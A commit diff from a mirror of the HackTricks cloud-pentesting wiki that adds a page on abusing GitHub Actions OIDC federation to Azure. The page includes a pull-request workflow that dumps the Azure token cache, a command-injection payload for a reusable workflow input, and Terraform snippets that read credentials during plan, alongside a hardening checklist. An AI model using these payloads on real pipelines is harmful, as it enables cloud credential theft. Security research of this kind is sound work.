mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Merge pull request #209 from HackTricks-wiki/update_GitHub_Actions__A_Cloudy_Day_for_Security_-_Part_2_20250915_124429
GitHub Actions A Cloudy Day for Security - Part 2
This commit is contained in:
@@ -404,6 +404,7 @@
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
|
||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||
|
||||
@@ -480,7 +480,7 @@ jobs:
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Accessing AWS, Azure and GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
|
||||
@@ -488,6 +488,10 @@ Check the following pages:
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
|
||||
|
||||
Azure validates at least:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
|
||||
- sub: must match the configured FIC Subject identifier
|
||||
|
||||
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
|
||||
To force Azure audience on token request:
|
||||
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
|
||||
## Azure setup (Workload Identity Federation)
|
||||
|
||||
1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
|
||||
|
||||
2) Add Federated identity credentials:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
|
||||
|
||||
3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
|
||||
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
|
||||
Manual exchange example (Graph scope shown; ARM or other resources similarly):
|
||||
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
|
||||
## GitHub OIDC subject (sub) anatomy and customization
|
||||
|
||||
Default sub format: repo:<org>/<repo>:<context>
|
||||
|
||||
Context values include:
|
||||
- environment:<env>
|
||||
- pull_request (PR triggers when not in an environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Useful claims often present in the payload:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
|
||||
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
|
||||
Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.
|
||||
|
||||
## Scoping and risks of FIC subject types
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Highest risk: Any collaborator can open a PR and satisfy the FIC.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
|
||||
Related file locations and notes:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
|
||||
- Windows: msal_token_cache.bin under user profile; DPAPI‑protected
|
||||
|
||||
## Reusable workflows and job_workflow_ref scoping
|
||||
|
||||
Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
|
||||
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
|
||||
FIC example to bind both caller repo and the reusable workflow:
|
||||
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
|
||||
Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
|
||||
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
|
||||
Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
|
||||
|
||||
## Code execution vectors that bypass job_workflow_ref protections
|
||||
|
||||
Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
|
||||
|
||||
Example vulnerable reusable step (unquoted interpolation):
|
||||
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
|
||||
Malicious caller input to execute commands and exfiltrate the Azure token cache:
|
||||
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
|
||||
## Terraform plan as an execution primitive in PRs
|
||||
|
||||
Treat terraform plan as code execution. During plan, Terraform can:
|
||||
- Read arbitrary files via functions like file()
|
||||
- Execute commands via the external data source
|
||||
|
||||
Example to exfiltrate Azure token cache during plan:
|
||||
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
|
||||
Or use external to run arbitrary commands:
|
||||
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## Hardening checklist
|
||||
|
||||
- Never use sub=...:pull_request for sensitive FICs
|
||||
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
|
||||
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
|
||||
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
|
||||
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
|
||||
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
|
||||
- Enforce least privilege on App Registrations; separate identities for plan vs apply
|
||||
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
|
||||
|
||||
## Manual testing tips
|
||||
|
||||
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
|
||||
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
|
||||
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user